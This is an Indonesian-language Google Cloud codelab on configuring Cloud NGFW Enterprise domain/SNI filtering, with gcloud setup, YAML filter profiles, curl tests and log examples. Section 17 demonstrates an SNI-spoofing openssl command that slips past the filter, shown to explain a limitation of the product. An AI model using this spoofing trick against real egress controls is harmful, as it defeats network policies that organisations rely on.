Codelab Pemfilteran Domain/SNI Cloud NGFW Enterprise [Pemeriksaan TLS Opsional]

1. Pengantar

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang luas untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.

Cloud NGFW memiliki manfaat berikut:

  • Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mengaktifkan arsitektur keamanan zero-trust.
  • Konfigurasi dan deployment yang disederhanakan: Cloud NGFW menerapkan kebijakan firewall hierarkis dan jaringan yang dapat dilampirkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
  • Kontrol terperinci dan mikro-segmentasi: Kombinasi kebijakan firewall dan Tag yang dikelola Identity and Access Management (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan Virtual Private Cloud (VPC) dan organisasi.

Cloud NGFW tersedia dalam tingkat berikut:

  • Dasar-Dasar Cloud Next Generation Firewall
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Objek FQDN Standar Cloud NGFW dapat menerjemahkan Nama Domain yang Sepenuhnya Memenuhi Syarat (FQDN) ke alamat IP, lalu menerapkan aturan terhadap daftar alamat IP tersebut. Namun, Cloud NGFW Enterprise dengan pemfilteran Domain dapat melakukan inspeksi beberapa langkah lebih lanjut.

Cloud NGFW Enterprise

Cloud NGFW Enterprise saat ini menawarkan Intrusion Prevention Service (IPS), kemampuan Lapisan 7, ke fabric Firewall Google Cloud yang terdistribusi.

Cloud NGFW Enterprise kini memiliki pemfilteran domain, yang memberikan kontrol atas traffic http(s) menggunakan nama domain, bukan mengandalkan alamat IP.

Untuk pemfilteran Domain/SNI traffic https, sebagai bagian dari handshake TLS, Client Hello adalah ekstensi yang memiliki Server Name Indication (SNI). SNI adalah ekstensi pada protokol TLS yang mengirimkan nama host yang coba dijangkau klien. Di sinilah pemfilteran akan divalidasi.

Dengan traffic http, tidak ada SNI, sehingga hanya kolom header Host http yang akan digunakan untuk menerapkan pemfilteran.

Pemfilteran domain dikonfigurasi dengan UrlFilteringProfile, yang merupakan jenis Profil Keamanan baru. UrlFilteringProfile akan berisi daftar UrlFilter, yang masing-masing berisi tindakan, daftar string pencocok, dan prioritas unik. Konfigurasi ini menggunakan "Url" untuk penamaan, bukan "Domain", untuk memfasilitasi transisi yang mudah ke pemfilteran URL lengkap saat tersedia, bukan membuat jenis Profil Keamanan baru pada masa mendatang.

UrlFilteringProfiles mencakup UrlFilter implisit dengan prioritas terendah (2147483647) yang akan menolak semua koneksi yang tidak cocok dengan UrlFilter dengan prioritas lebih tinggi.

Yang akan Anda bangun

Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC serta mengelola sejumlah resource jaringan dan keamanan. Codelab ini akan menunjukkan cara Cloud NGFW Enterprise menyediakan pemfilteran domain dan SNI dengan petunjuk opsional untuk inspeksi TLS.

Kami akan menguji beberapa skenario aturan izinkan dan tolak, termasuk penggunaan karakter pengganti.

4a779fae790d117.png

Status akhir aturan kebijakan firewall jaringan akan mirip dengan tabel di bawah:

Prioritas

Arah

Target

Sumber

Tujuan

Tindakan

Jenis

200

Masuk

SEMUA

IAP

Semua

Izinkan

Essentials

300

Keluar

SEMUA

Semua

0.0.0.0/0:80,443

Pemeriksaan L7

Enterprise

Yang akan Anda pelajari

  • Cara membuat kebijakan firewall jaringan.
  • Cara mengonfigurasi dan menggunakan Pemfilteran Domain/SNI Cloud NGFW Enterprise.
  • Cara mengonfigurasi pencegahan ancaman selain Pemfilteran Domain/SNI.
  • Cara meninjau log.
  • [Opsional] Cara mengaktifkan pemeriksaan TLS.

Yang Anda butuhkan

  • Project Google Cloud.
  • Pengetahuan tentang men-deploy instance dan mengonfigurasi komponen jaringan.
  • Pengetahuan tentang konfigurasi firewall kebijakan jaringan.

2. Sebelum memulai

Membuat/memperbarui variabel

Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.

Di Cloud Shell, jalankan perintah di bawah dengan mengganti informasi dalam tanda kurung sesuai kebutuhan:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. Mengaktifkan API

Aktifkan API jika Anda belum melakukannya:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Pembuatan Endpoint Cloud NGFW Enterprise

Karena pembuatan Endpoint Enterprise Cloud NGFW memerlukan waktu sekitar 20 menit, endpoint tersebut akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint sedang dibuat.

Pemfilteran Domain/SNI akan memerlukan Endpoint Firewall meskipun Anda tidak berniat menggunakan profil pencegahan ancaman.

Buat Profil Keamanan dan Grup Profil Keamanan:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Proses pembuatan memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.

5. Penyiapan Dasar

Jaringan dan subnet VPC

Jaringan dan subnet VPC

Buat jaringan dan subnet VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Buat Alamat IP eksternal, Cloud Router, dan gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Pembuatan Instance

Buat instance klien:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

Kebijakan firewall jaringan global

Buat kebijakan firewall jaringan global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

Buat aturan Cloud Firewall Essential yang diperlukan untuk mengizinkan traffic dari rentang proxy yang mendukung identitas:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

Kaitkan kebijakan firewall cloud ke jaringan VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Membuat Konfigurasi Pemfilteran Domain/SNI untuk Izinkan

Selanjutnya, kita akan mengonfigurasi domain yang diizinkan dan ditolak. Dari cloudshell, buat file yaml:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

Buat profil keamanan dengan mengimpor konfigurasi yaml:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Output yang diharapkan:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

Buat grup profil keamanan:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

Validasi bahwa SPG berisi Profil Keamanan:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

Output yang diharapkan:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Asosiasi Endpoint Firewall Cloud

Tentukan variabel lingkungan jika Anda belum melakukannya dan/atau lebih memilih pendekatan skrip.

Pastikan pembuatan Endpoint Cloud Firewall berhasil diselesaikan. Lanjutkan hanya jika status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah MEMBUAT):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Hubungkan endpoint Cloud Firewall ke jaringan VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proses penautan memerlukan waktu sekitar 10 menit. Lanjutkan ke bagian berikutnya hanya setelah status ditampilkan sebagai AKTIF (selama pembuatan, status yang diharapkan adalah MEMBUAT):

gcloud network-security firewall-endpoint-associations list

Output yang diharapkan saat complete:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. Membuat Aturan Firewall untuk Pemfilteran Domain/SNI

Google memiliki aturan firewall izinkan traffic keluar implisit. Jika ingin menerapkan pemfilteran domain/SNI, kita harus menentukan aturan secara eksplisit. Aturan berikut akan mengirimkan traffic keluar untuk port tujuan 80 dan 443 untuk diperiksa oleh profil keamanan kami.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. Memvalidasi Aturan Izinkan

Mulai koneksi SSH ke VM melalui IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Kirim permintaan sampel ke tujuan yang diizinkan:

curl https://www.example.com --max-time 2

Perhatikan bahwa permintaan ini berhasil karena aturan firewall "allow".

Mari kita coba beberapa domain yang tidak termasuk dalam daftar.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

Output yang diharapkan:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

Mengapa "example.com" tidak berfungsi? Hal ini karena konfigurasi profil keamanan secara eksplisit memiliki "www.example.com". Jika ingin mengizinkan semua subdomain example.com, kita dapat menggunakan karakter pengganti.

Permintaan lainnya juga gagal. Hal ini karena grup profil keamanan memiliki penolakan default dengan prioritas terendah dan hanya www.example.com yang diizinkan.

Keluar dari VM untuk kembali ke cloudshell.

exit

10. Memperbarui Konfigurasi Pemfilteran Domain/SNI untuk Wildcard

Mari kita lihat file yaml dan lakukan beberapa pembaruan tambahan untuk menampilkan kemampuan tambahan, termasuk dukungan karakter pengganti. Kita akan membuat aturan yang mengizinkan "*.com", yang setara dengan domain apa pun yang berakhiran .com. Catatan: Tindakan ini akan sepenuhnya menggantikan konten file yaml asli yang dibuat di bagian sebelumnya.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Perbarui profil keamanan dengan konfigurasi yaml baru:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Validasi konfigurasi profil keamanan:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Output yang diharapkan:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. Memvalidasi Aturan Karakter Pengganti

Mari kita validasi apakah aturan wildcard berfungsi. Mulai koneksi SSH ke VM melalui IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Kirim permintaan contoh ke tujuan yang diizinkan:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Semua permintaan ini seharusnya berhasil. Jangan ragu untuk mencoba domain .com valid lainnya. Jika masih tidak berhasil, pastikan Anda telah menunggu setidaknya 10 menit dan coba lagi.

Kita bahkan dapat mencoba beberapa subdomain ".com" dan semuanya akan berhasil.

curl https://mail.google.com --max-time 2

Keluar dari VM untuk kembali ke cloudshell.

exit

12. Memperbarui Konfigurasi Pemfilteran Domain/SNI untuk Penolakan

Kita telah menunjukkan bahwa ada aturan DENY implisit untuk * di akhir profil keamanan dan membuat domain "diizinkan" dengan menggunakan filteringAction sebagai "ALLOW". Mari kita bahas cara menggunakan filteringAction sebagai "DENY". Tindakan DENY dapat berguna jika mendahului ALLOW eksplisit. Perhatikan contoh berikut.

Kami akan memperbarui yaml yang ada untuk mengizinkan *.com, tetapi secara khusus menolak domain .com tertentu.

Kita akan mengubah file yaml untuk MENOLAK *.github.com dan *.google.com sambil mengizinkan semua *.com lainnya secara eksplisit dan mempertahankan penolakan default implisit. Perhatikan bahwa prioritas pengecualian harus memiliki angka prioritas yang lebih rendah: (1000 vs 2000) dan (1500 vs 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

Perbarui profil keamanan dengan konfigurasi yaml baru:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Validasi konfigurasi profil keamanan:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. Memvalidasi Aturan Penolakan

Mari kita validasi apakah aturan DENY berfungsi. Mulai koneksi SSH ke VM melalui IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Kirim contoh permintaan ke tujuan yang ditolak:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

Kedua permintaan ini seharusnya gagal karena cocok dengan aturan "DENY".

Kirim beberapa permintaan tambahan:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

Mengapa cara ini berhasil? Hal ini berhasil karena aturan DENY adalah untuk ".github.com" dan ".google.com". Permintaan ke github.com dan google.com tidak mencakup karakter pengganti tersebut karena merujuk ke subdomain github.com dan google.com.

Permintaan lain ke domain .com akan berhasil, dengan penolakan default untuk domain lainnya. (.org, .net, .me, ...dll.)

Keluar dari VM untuk kembali ke cloudshell.

exit

14. Memperbarui Konfigurasi Pemfilteran Domain/SNI untuk Izinkan Default

Bagaimana jika Anda ingin memiliki perilaku IZINKAN default dengan aturan penolakan eksplisit. Kita akan memperbarui YAML untuk menunjukkan perilaku ini. Kami akan mengonfigurasi aturan DENY untuk semua domain .com atau .net dan mengizinkan semua domain lainnya.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

Perbarui profil keamanan dengan konfigurasi yaml baru:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

Validasi konfigurasi profil keamanan:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

Output yang Diharapkan:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

Perhatikan bahwa PENOLAKAN implisit untuk * masih ada. Aturan tersebut menjadi tidak relevan karena kita telah mengonfigurasi aturan default prioritas yang lebih tinggi (nilai yang lebih rendah) yang memiliki filteringAction yang ditetapkan ke ALLOW.

(2000000000 vs 2147483647)

15. Memvalidasi Aturan Penolakan dengan Izinkan Default

Mari kita validasi apakah aturan DENY berfungsi bersama dengan ALLOW default. Mulai koneksi SSH ke VM melalui IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Kirim contoh permintaan ke tujuan yang ditolak:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

Kedua permintaan ini seharusnya gagal karena cocok dengan aturan "DENY". Setiap permintaan .com atau .net akan gagal.

Kirim beberapa permintaan yang seharusnya berhasil (domain tingkat teratas lainnya):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Permintaan ini akan berhasil karena menggunakan aturan izinkan "default" dengan prioritas 2000000000.

16. Menjelajahi Log untuk Pemfilteran Domain/SNI

Mari kita periksa cara memvalidasi apakah traffic diperiksa oleh aturan firewall untuk pemfilteran domain/SNI.

Di Konsol Cloud, buka Logs Explorer dan masukkan filter berikut:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

Filter di atas melihat kebijakan firewall yang kita buat bernama $prefix-fwpolicy dan prioritas aturan 300 yang memiliki grup profil keamanan yang terkait dengan konfigurasi pemfilteran domain/SNI.

91854cacaec44798.png

Seperti yang dapat Anda lihat, "disposisi" menyatakan "DISADAP", yang menunjukkan bahwa traffic telah disadap dan dikirim ke mesin firewall kami untuk diproses.

Sekarang untuk melihat log pemfilteran SNI/domain yang sebenarnya, kita dapat memasukkan filter berikut di Logs Explorer: (Harus mengganti $project_id dengan nilai project_id Anda)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

Jika meluaskan beberapa detail, kita dapat melihat detail berikut dalam contoh (yang telah disanitasi):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

Log contoh di atas menunjukkan permintaan ke wikipedia.org yang DIIZINKAN karena cocok dengan aturan prioritas 2000000000 yang berupa "*" dengan filterAction ALLOW. Ada detail lain termasuk SNI.

Kita dapat melihat contoh log DENY:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

Seperti yang dapat kita lihat di atas, ini adalah permintaan yang dicatat saat permintaan ditolak. Permintaan tersebut ditujukan ke www.php.net yang cocok dengan aturan 1500 di profil keamanan. Demikian pula, SNI dicocokkan untuk membuat keputusan.

17. Memvalidasi Aturan saat Spoofing SNI ada

Seperti yang disebutkan dalam pengantar, NGFW Enterprise dapat melihat header host HTTP untuk traffic HTTP, atau melihat SNI untuk traffic yang dienkripsi TLS. Individu dapat memalsukan SNI. Apa yang terjadi jika mereka melakukannya?

Mari kita validasi perilaku tersebut. Mulai koneksi SSH ke VM melalui IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Jalankan perintah openssl berikut untuk memalsukan SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Dalam contoh di atas, ekspektasinya adalah permintaan ke domain .com dan .net akan diblokir, dan TLD lainnya akan diizinkan. Berikut adalah contoh respons palsu. Permintaan dikirim ke www.google.com yang seharusnya diblokir, tetapi alih-alih mengirim SNI www.google.com, kita menentukan SNI ifconfig.me. Karena kebijakan memeriksa SNI, kebijakan akan melihatnya sebagai domain "yang diizinkan" dan membiarkannya lewat. Kami berhasil melakukan koneksi TLS ke google.com.

.

Output yang diharapkan:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
